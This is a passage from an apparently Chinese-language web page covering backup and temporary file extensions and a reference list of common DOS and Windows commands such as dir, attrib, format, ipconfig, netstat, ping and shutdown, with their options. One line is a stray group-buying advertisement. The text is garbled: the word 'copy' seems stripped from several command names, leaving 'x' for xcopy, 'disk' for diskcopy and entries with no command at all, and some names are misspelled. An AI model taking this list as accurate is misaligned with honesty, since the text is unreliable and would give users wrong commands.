名修改為相應應用程序的默認文件擴展名即可）。另外，部分應用程序也喜歡將OLD作為
備份文件的擴展名。Word備份文件的擴展名有些特殊，它採用的是*.WBK，我們只需雙擊
*.WBK文件即可直接調用Word對備份文件進行編輯。而Excel備份文件的擴展名則是XLK，
我們同樣只需雙擊*. XLK文件即可直接調用Excel對備份文件進行編輯。
TMP:最常見的臨時文件。絕大多數應用程序的臨時文件都是以TMP為擴展名，它們在
退出時一般都會自動刪除，不過當系統因停電、死機等原因非正常退出時，應用程序就
無法自動刪除這些臨時文件了。TMP臨時文件一般沒有多大使用價值，它們大多保存在系
統設置的TMP或TEMP臨時文件目錄中，我們可直接將它們刪除。
另外,站長團上有產品團購,便宜有保證

⑼ windows常用的DOS命令

DOS常用命令詳解
dir 列文件名 deltree 刪除目錄樹 cls 清屏 cd 改變當前目錄。
拷貝文件 disk 復制磁碟 del 刪除文件 format 格式化磁碟。
edit 文本編輯 mem 查看內存狀況 md 建立子目錄 move 移動文件、改目錄名。
more 分屏顯示 type 顯示文件內容 rd 刪除目錄。
sys 製作DOS系統盤。
ren 改變文件名 x 拷貝目錄與文件 chkdsk 檢查磁碟 attrib 設置文件屬性。
fdisk 硬碟分區 date 顯示及修改日期 label 設置卷標號 defrag 磁碟碎片整理。
msd 系統檢測 path 設置搜尋目錄 share 文件共享 memmaker內存優化管理。
help 幫助 restore 恢復備份文件 set 設置環境變數 time 顯示及修改時間。
tree 列目錄樹 debug 隨機調試程序 doskey 重新調用DOS命令 prempt 設置提示符 undelete恢復被刪的文件 scandisk檢測、修理磁碟。
不常用DOS命令
diskcomp磁碟比較 append 設置非執行文件路徑
expand 還原DOS文件 fasthelp快速顯示幫助信息
fc 文件比較 interink啟動伺服器
setver 設置版本 intersvr啟動客戶機
subst 路徑替換 qbasic Basic集成環境
vsafe 防病毒 unformat恢復已格式化的磁碟
ver 顯示DOS版本號 smartdrv設置磁碟加速器
vol 顯示磁碟卷標號 lh 將程序裝入高端內存
ctty 改變控制設備 emm386 擴展內存管理
常用命令具體介紹:
一、Dir
顯示目錄文件和子目錄列表，呵呵，這個當然是人人要知道的。
可以使用通配符（? 和 *），？表通配一個字元，*表通配任意字元
*.後綴
指定要查看後綴的文件。 上面其實也可以為「 . 後綴」,例如dir *.exe 等於dir .exe
/p
每次顯示一個列表屏幕。要查看下一屏，請按鍵盤上的任意鍵。
/w
以寬格式顯示列表，在每一行上最多顯示 5 個文件名或目錄名。
/s
列出指定目錄及所有子目錄中出現的每個指定的文件名。比win環境下的查找快多了
dir *.* -> a.txt 把當前目錄文件列表寫入a.txt
dir *.* /s -> a.txt 把當前目錄文件列表寫入a.txt，包括子目錄下文件。
二、Attrib
顯示、設置或刪除指派給文件或目錄的只讀、存檔、系統以及隱藏屬性。如果在不含參數的情況下使用，則 attrib 會顯示當前目錄中所有文件的屬性。
+r 設置只讀屬性。
-r 清除只讀屬性。
+a 設置存檔文件屬性。
-a 清除存檔文件屬性。
+s 設置系統屬性。
-s 清除系統屬性。
+h 設置隱藏屬性。
-h 清除隱藏屬性。
三、Cls
清除顯示在命令提示符窗口中的所有信息，並返回空窗口，即「清屏」
四、Exit
退出當前命令解釋程序並返回到系統。
五、format
格式化
/q 執行快速格式化。刪除以前已格式化卷的文件表和根目錄，但不在扇區之間掃描損壞區域。使用 /q 命令行選項應該僅格式化以前已格式化的完好的卷。
六、Ipconfig
顯示所有當前的 TCP/IP 網路配置值、刷新動態主機配置協議 (DHCP) 和域名系統 (DNS) 設置。使用不帶參數的 ipconfig 可以顯示所有適配器的 IP 地址、子網掩碼、默認網關。
/all 顯示所有適配器的完整 TCP/IP 配置信息。
ipconfig 等價於 winipcfg，後者在ME、98 和 95 上可用。盡管 Windows XP 沒有提供象 winipcfg 命令一樣的圖形化界面，但可以使用「網路連接」查看和更新 IP 地址。要做到這一點，請打開 網路連接，右鍵單擊某一網路連接，單擊「狀態」，然後單擊「支持」選項卡。
該命令最適用於配置為自動獲取 IP 地址的計算機。它使用戶可以確定哪些 TCP/IP 配置值是由 DHCP、自動專用 IP 地址 (APIPA) 和其他配置配置的。
七、md 創建目錄或子目錄
八、Move 將一個或多個文件從一個目錄移動到指定的目錄。
九、Nbtstat
顯示本地計算機和遠程計算機的基於 TCP/IP (NetBT) 協議的 NetBIOS 統計資料、NetBIOS 名稱表和 NetBIOS 名稱緩存。Nbtstat 可以刷新 NetBIOS 名稱緩存和注冊的 Windows Internet 名稱服務 (WINS) 名稱。使用不帶參數的 nbtstat 顯示幫助。Nbtstat 命令行參數區分大小寫。
-a remotename
顯示遠程計算機的 NetBIOS 名稱表，其中，RemoteName 是遠程計算機的 NetBIOS 計算機名稱。
-A IPAddress 顯示遠程計算機的 NetBIOS 名稱表，其名稱由遠程計算機的 IP 地址指定（以小數點分隔）。
十、Netstat 顯示活動的 TCP 連接、計算機偵聽的埠、乙太網統計信息、IP 路由表、IPv4 統計信息（對於 IP、ICMP、TCP 和 UDP 協議）以及 IPv6 統計信息（對於 IPv6、ICMPv6、通過 IPv6 的 TCP 以及通過 IPv6 的 UDP 協議）。使用時如果不帶參數，netstat 顯示活動的 TCP 連接。
-a 顯示所有活動的 TCP 連接以及計算機偵聽的 TCP 和 UDP 埠。
十一、Ping 通過發送「網際消息控制協議 (ICMP)」回響請求消息來驗證與另一台 TCP/IP 計算機的 IP 級連接。回響應答消息的接收情況將和往返過程的次數一起顯示出來。Ping 是用於檢測網路連接性、可到達性和名稱解析的疑難問題的主要 TCP/IP 命令。如果不帶參數，ping 將顯示幫助。名稱和Ip地址解析是它的最簡單應用也是用的最多的。
-t 指定在中斷前 ping 可以持續發送回響請求信息到目的地。要中斷並顯示統計信息，請按 CTRL-BREAK。要中斷並退出 ping，請按 CTRL-C。
-lSize
指定發送的回響請求消息中「數據」欄位的長度（以位元組表示）。默認值為 32。size 的最大值是 65,527。
十二、Rename (Ren)
更改文件的名稱。 例如 ren *.abc *.cba
十三、Set 顯示、設置或刪除環境變數。如果沒有任何參數，set 命令將顯示當前環境設置。
十四、Shutdown 允許您關閉或重新啟動本地或遠程計算機。如果沒有使用參數，shutdown 將注銷當前用戶。
-m ComputerName 指定要關閉的計算機。
-t xx 將用於系統關閉的定時器設置為 xx 秒。默認值是 20 秒。
-l 注銷當前用戶，這是默認設置。-m ComputerName 優先。
-s 關閉本地計算機。
-r 關閉之後重新啟動。
-a 中止關閉。除了 -l 和 ComputerName 外，系統將忽略其它參數。在超時期間，您只可以使用 -a。
十五、System File Checker (sfc)
win下才有，在重新啟動計算機後掃描和驗證所有受保護的系統文件。
/scannow 立即掃描所有受保護的系統文件。
/scanonce 一次掃描所有受保護的系統文件。
/purgecache 立即清除「Windows 文件保護」文件高速緩存，並掃描所有受保護的系統文件。
/cachesize=x 設置「Windows 文件保護」文件高速緩存的大小，以 MB 為單位。
十六、type 顯示文本文件的內容。使用 type 命令查看文本文件或者是bat文件而不修改文件
十七、Tree 圖像化顯示路徑或驅動器中磁碟的目錄結構。
十八、X 復制文件和目錄，包括子目錄。
/s 復制非空的目錄和子目錄。如果省略 /s，x 將在一個目錄中工作。
/e 復制所有子目錄，包括空目錄。
十九、 將一個或多個文件從一個位置復制到其他位置
二十、del 刪除指定文件。